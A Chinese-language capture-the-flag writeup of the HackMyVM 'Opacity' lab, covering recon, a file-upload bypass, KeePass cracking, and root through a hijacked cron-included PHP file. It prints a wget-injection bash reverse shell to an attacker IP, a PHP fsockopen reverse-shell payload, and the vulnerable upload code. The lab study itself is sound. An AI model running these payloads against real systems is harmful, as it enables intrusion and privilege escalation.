HackMyVM-Opacity靶机详解WP
城南花已开 Lv5

信息收集

服务探测

扫一下靶机开放哪些服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:c2:9e:68, IPv4: 192.168.56.102
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0c (Unknown: locally administered)
192.168.56.100 08:00:27:db:dd:8b (Unknown)
192.168.56.106 08:00:27:35:f1:10 (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.863 seconds (137.41 hosts/sec). 3 responded

┌──(kali㉿kali)-[~]
└─$ ip=192.168.56.106

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -A -p- $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 02:33 EST
Nmap scan report for family (192.168.56.106)
Host is up (0.0012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:ee:29:10:d9:8e:8c:53:e6:4d:e3:67:0c:6e:be:e3 (RSA)
| 256 95:42:cd:fc:71:27:99:39:2d:00:49:ad:1b:e4:cf:0e (ECDSA)
|_ 256 ed:fe:9c:94:ca:9c:08:6f:f2:5c:a6:cf:4d:3c:8e:5b (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
MAC Address: 08:00:27:35:F1:10 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
| date: 2024-11-26T07:33:37
|_ start_date: N/A
|_clock-skew: -2s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT ADDRESS
1 1.25 ms family (192.168.56.106)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.00 seconds

开了下http服务,简单的登入页面

image

尝试sqlmap无果后,开始扫一下目录,发现有个cloud的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html --filter-status 502

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.106
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
💢 Status Code Filters │ [502]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [txt, php, html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://192.168.56.106/ => login.php
200 GET 89l 341w 2689c http://192.168.56.106/css/style.css
200 GET 34l 60w 848c http://192.168.56.106/login.php
302 GET 0l 0w 0c http://192.168.56.106/index.php => login.php
301 GET 9l 28w 314c http://192.168.56.106/css => http://192.168.56.106/css/
302 GET 0l 0w 0c http://192.168.56.106/logout.php => login.php
301 GET 9l 28w 316c http://192.168.56.106/cloud => http://192.168.56.106/cloud/
502 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[>-------------------] - 4m 53756/2646576 3h found:7 errors:1
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_56_106-1732607539.state ...
[>-------------------] - 4m 53756/2646576 3h found:7 errors:1
[>-------------------] - 4m 26232/882184 116/s http://192.168.56.106/
[>-------------------] - 4m 23912/882184 108/s http://192.168.56.106/css/
[>-------------------] - 50s 3280/882184 66/s http://192.168.56.106/cloud/

image

一个文件上传的页面,个人云存储,像个图床的功能

只能上传图片,会识别文件后缀,可以在File Upload | HackTricks找到绕过文件扩展名检查

根据这个网页的信息来判断,猜测上传上去的文件只会保留五分钟

因为我的靶机网卡配置是仅主机模式,所以只能在kali上开个http服务

在网页的Url中填上kali上反弹shell的地址后面加个空格.jpg绕过文件上传检查

1
http://192.168.56.102:8000/php-reverse-shell.php .jpg

image

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.106 - - [26/Nov/2024 03:20:22] "GET /php-reverse-shell.php HTTP/1.1" 200 -
###显然靶机get了反弹shell的文件

文件存在images目录中,访问即可拿到webshell,如果不小心中断了反弹的shell那就需要重新上传文件,靶机没五分钟会删一次

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.56.102] from family [192.168.56.106] 37846
Linux opacity 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
08:34:27 up 1:06, 0 users, load average: 0.00, 0.00, 0.91
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

这里用python来升级交互式终端,不知道为啥/usr/bin/script -qc /bin/bash 2>/dev/null执行后shell会断开

Ctrl+Z挂入后台,执行stty raw -echo;fg输入reset再输入xterm

这样算是比较稳定的终端

用户提权

搜集web-data用户可以利用的信息,在/opt目录下发现了一个可以读的dataset.kdbx文件

1
2
3
4
5
6
7
8
www-data@opacity:/home/sysadmin$ cd /opt/
www-data@opacity:/opt$ ls
dataset.kdbx
www-data@opacity:/opt$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Jul 26 2022 .
drwxr-xr-x 19 root root 4096 Jul 26 2022 ..
-rwxrwxr-x 1 sysadmin sysadmin 1566 Jul 8 2022 dataset.kdbx

好在靶机有python3,利用python开启http简易服务

本地wget一下,利用keepass2john生成hash,john无脑爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
www-data@opacity:/opt$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.56.1 - - [26/Nov/2024 08:41:40] "GET /dataset.kdbx HTTP/1.1" 200 -
--------------------------------------------------------------
❯ wget 192.168.56.106:8000/dataset.kdbx
--2024-11-26 16:41:41-- http://192.168.56.106:8000/dataset.kdbx
Connecting to 127.0.0.1:7890... connected.
Proxy request sent, awaiting response... 200 OK
Length: 1566 (1.5K) [application/octet-stream]
Saving to: ‘dataset.kdbx’

dataset.kdbx 100%[=======================================================================>] 1.53K --.-KB/s in 0.001s

2024-11-26 16:41:41 (1.74 MB/s) - ‘dataset.kdbx’ saved [1566/1566]

ls
dataset.kdbx rev.php:Zone.Identifier vmessage.py
❯ keepass2john dataset.kdbx >kdbx_hash
❯ john kdbx_hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
741852963 (dataset)
1g 0:00:00:18 DONE 2/3 (2024-11-26 16:42) 0.05534g/s 182.1p/s 182.1c/s 182.1C/s rosita..loveu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

得到kdbx密码为741852963,利用在线kdbx网站打开一下KeeWeb

image

这样就获得了sysadmin用户了

1
2
3
4
5
6
www-data@opacity:/home$ su -l sysadmin
Password:
sysadmin@opacity:~$ ls
local.txt scripts snap
sysadmin@opacity:~$ cat local.txt
6661b61b44d234d230d06bf5b3c075e2

Root提权

之前不是发现了这个图片只能存在五分钟,那必然有个定时脚本在执行

传个pspy64监听一下定时任务

1
2
3
4
5
6
2024/11/26 09:31:53 CMD: UID=0     PID=3      |
2024/11/26 09:31:53 CMD: UID=0 PID=2 |
2024/11/26 09:31:53 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2024/11/26 09:35:01 CMD: UID=0 PID=28972 | /usr/sbin/CRON -f
2024/11/26 09:35:01 CMD: UID=0 PID=28974 | /usr/sbin/CRON -f
2024/11/26 09:35:01 CMD: UID=0 PID=28975 | /bin/sh -c /usr/bin/php /home/sysadmin/scripts/script.php

发现果然有,每五分钟会执行一下/home/sysadmin/scripts/script.php,好在这个文件sysadmin用户还能读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
$di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
$ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
foreach ( $ri as $file ) {
$file->isDir() ? rmdir($file) : unlink($file);
}
}
?>

这个代码上半部分会备份/home/sysadmin/scripts下所以的文件到/var/backups/backup.zip,下半部分就是递归删除/var/www/html/cloud/images目录下的所有文件和子目录

我们可以观察到开头有引入了一个文件lib/backup.inc.php我们可以修改这个文件为反弹Shell,那么文件在执行的时候就先执行我们修改后的文件,可以观察到这个scripts/lib目录我们这个用户是有读写执行权限的,但是里面的文件是没有权限的,我们没有对这个backup.inc.php源文件的的写入权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 sysadmin@opacity:~/scripts$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Jul 8 2022 .
drwxr-xr-x 8 sysadmin sysadmin 4096 Nov 26 10:11 ..
drwxr-xr-x 2 sysadmin root 4096 Nov 26 10:11 lib ##权限为755
-rw-r----- 1 root sysadmin 519 Jul 8 2022 script.php
sysadmin@opacity:~/scripts/lib$ ls -la
total 132
drwxr-xr-x 2 sysadmin root 4096 Nov 26 11:58 .
drwxr-xr-x 3 root root 4096 Jul 8 2022 ..
-rw-r--r-- 1 root root 9458 Jul 26 2022 application.php
-rw-r--r-- 1 root root 73 Nov 26 10:11 backup.inc.php
-rw-r--r-- 1 root root 24514 Jul 26 2022 bio2rdfapi.php
-rw-r--r-- 1 root root 11222 Jul 26 2022 biopax2bio2rdf.php
-rw-r--r-- 1 root root 7595 Jul 26 2022 dataresource.php
-rw-r--r-- 1 root root 4828 Jul 26 2022 dataset.php
-rw-r--r-- 1 root root 3243 Jul 26 2022 fileapi.php
-rw-r--r-- 1 root root 1325 Jul 26 2022 owlapi.php
-rw-r--r-- 1 root root 1465 Jul 26 2022 phplib.php
-rw-r--r-- 1 root root 10548 Jul 26 2022 rdfapi.php
-rw-r--r-- 1 root root 16469 Jul 26 2022 registry.php
-rw-r--r-- 1 root root 6862 Jul 26 2022 utils.php
-rwxr-xr-x 1 root root 3921 Jul 26 2022 xmlapi.php

那我们把这个backup.inc.php删了不就完了,重新创建一个backup.inc.php,因为这个目录我们可是有755权限的可以随便删除

1
2
3
4
5
sysadmin@opacity:~/scripts/lib$ vim backup.inc.php
-------------------------------------------------
<?php
$sock=fsockopen("192.168.56.102",4444);exec("sh <&3 >&3 2>&3");
?>

将php反弹的shell写入,等待系统自动执行crontab,五分钟后shell就弹回来了

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[/var/www/html]
└─$ nc -lvp 4444
listening on [any] 4444 ...
id
connect to [192.168.56.102] from family [192.168.56.106] 37876
uid=0(root) gid=0(root) groups=0(root)
ls
proof.txt
snap
cat proof.txt
ac0d56f93202dd57dcb2498c739fd20e

至于上面的为什么加个空格.jpg就能绕过检查,你可以查看一下/var/www/html/cloud/index.php里面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
$BASE_URL = strtok($_SERVER['REQUEST_URI'],'?');
if (isset($_POST['url'])){
$url = $_POST['url'];


if (preg_match('/\.(jpeg|jpg|png|gif)$/i', $url)) {

exec("wget -P /var/www/html/cloud/images {$url}");
echo '<div class="form-group">Transferring file..<br></div>';
echo '<div class="form-group"><img src="load.gif" alt="loading" width="500" ></div>';
$name = basename($url);
$link = "/cloud/images/$name";
$_SESSION['link'] = $link;

header( "refresh:3;url=storage.php" );

} else {
echo '<div class="form-group">Please select an image</div>';
}
}



?>

他只通过文件扩展名 .jpeg.jpg.png.gif 来判断,并不会有进一步的检查,比如文件头之类的,而且后面还利用wget拼接{url}来获取文件,甚至你还可以使用

1
;bash -c 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'; .jpg

来进行反弹shell只要末尾有.jpg即可,用分号终止 wget 命令,然后使用另一个命令来提供反向 shell

参考自:Opacity Walkthrough from HackMyVM - Writeup - Security

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 258.9k